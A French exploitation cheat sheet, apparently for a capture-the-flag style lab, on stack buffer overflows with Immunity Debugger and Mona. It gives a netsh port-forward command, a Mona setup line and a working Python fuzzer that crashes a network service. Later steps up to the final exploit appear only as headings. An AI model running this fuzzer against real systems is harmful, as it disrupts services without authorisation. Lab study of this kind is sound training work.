Exploitation Buffer Overflow avec Immunity Debugger et Mona
Redirection de Port avec netsh
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=3333 connectaddress=127.0.0.1 connectport=4444 protocol=tcpConfiguration de Mona dans Immunity Debugger
!mona config -set workingfolder c:\mona\%p
# %p = nom du fichier sans extensionFuzzing pour Déterminer la Taille du Buffer
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.220.0"
port = 9999
timeout = 5
prefix = "OVER "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing avec {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashé à {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)Script d'Exploitation Initial
Création d'un Pattern de Débordement
Récupération de l'EIP après crash
Recherche des Bad Characters
Trouver une Adresse de Jump ESP
Génération du Shellcode
Ajout de NOPs (No Operation)
Exploitation Finale
Mis à jour